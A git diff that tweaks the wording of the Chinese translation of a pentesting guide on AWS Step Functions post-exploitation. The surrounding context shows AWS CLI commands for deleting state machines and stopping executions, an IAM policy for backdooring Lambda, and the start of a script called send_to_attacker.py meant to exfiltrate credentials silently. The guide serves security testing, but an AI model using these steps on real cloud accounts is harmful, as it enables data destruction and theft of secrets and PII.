Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -18,7 +18,7 @@
 
 ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
 
-拥有这些权限的攻击者将能够永久删除状态机、其版本和别名。这可能会中断关键工作流程，导致数据丢失，并需要大量时间来恢复和恢复受影响的状态机。此外，这将允许攻击者掩盖所用的痕迹，干扰取证调查，并通过删除重要的自动化流程和状态配置来潜在地削弱操作。
+拥有这些权限的攻击者将能够永久删除状态机、其版本和别名。这可能会中断关键工作流程，导致数据丢失，并需要大量时间来恢复和恢复受影响的状态机。此外，这将允许攻击者掩盖所用的痕迹，干扰取证调查，并可能通过删除重要的自动化流程和状态配置来削弱操作。
 
 > [!NOTE]
 >
@@ -41,11 +41,11 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
-- **潜在影响**: 性能下降，以及关键工作流程的中断。
+- **潜在影响**：性能下降，以及关键工作流程的中断。
 
 ### `states:StopExecution`
 
-拥有此权限的攻击者可能能够停止任何状态机的执行，从而干扰正在进行的工作流程和过程。这可能导致交易不完整、业务操作中断以及潜在的数据损坏。
+拥有此权限的攻击者可能能够停止任何状态机的执行，从而中断正在进行的工作流程和过程。这可能导致交易不完整、业务运营中断以及潜在的数据损坏。
 
 > [!WARNING]
 > 此操作不支持 **express state machines**。
@@ -67,7 +67,7 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 
 ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
 
-一个攻击者如果破坏了具有以下权限的用户或角色：
+一个攻击者如果攻陷了具有以下权限的用户或角色：
 ```json
 {
 "Version": "2012-10-17",
@@ -87,7 +87,7 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ]
 }
 ```
-...可以通过将 Lambda 后门与 Step Function 逻辑操控结合起来，进行 **高影响力和隐蔽的后渗透攻击**。
+...可以通过将 Lambda 后门与 Step Function 逻辑操控结合起来，进行 **高影响力和隐秘的后渗透攻击**。
 
 此场景假设受害者使用 **AWS Step Functions 来协调处理敏感输入的工作流**，例如凭证、令牌或个人身份信息（PII）。
 
@@ -97,13 +97,13 @@ aws stepfunctions start-execution \
 --state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
 --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
 ```
-如果 Step Function 被配置为调用一个像 `LegitBusinessLogic` 的 Lambda，攻击者可以继续进行 **两种隐秘的攻击变体**：
+如果 Step Function 被配置为调用一个像 `LegitBusinessLogic` 的 Lambda，攻击者可以进行 **两种隐秘的攻击变体**：
 
 ---
 
 #### 更新 Lambda 函数
 
-攻击者修改 Step Function 已经使用的 Lambda 函数 (`LegitBusinessLogic`) 的代码，以静默地外泄输入数据。
+攻击者修改 Step Function 已经使用的 Lambda 函数 (`LegitBusinessLogic`) 的代码，以悄无声息地提取输入数据。
 ```python
 # send_to_attacker.py
 import requests
@@ -179,6 +179,6 @@ aws stepfunctions update-state-machine \
 - 静默外泄敏感数据，包括秘密、凭证、API 密钥和个人身份信息（PII）。
 - 工作流执行中没有可见的错误或失败。
 - 如果不审计 Lambda 代码或执行痕迹，难以检测。
-- 如果后门保留在代码或 ASL 逻辑中，能够实现长期持久性。
+- 如果后门保留在代码或 ASL 逻辑中，则可以实现长期持久性。
 
 {{#include ../../../banners/hacktricks-training.md}}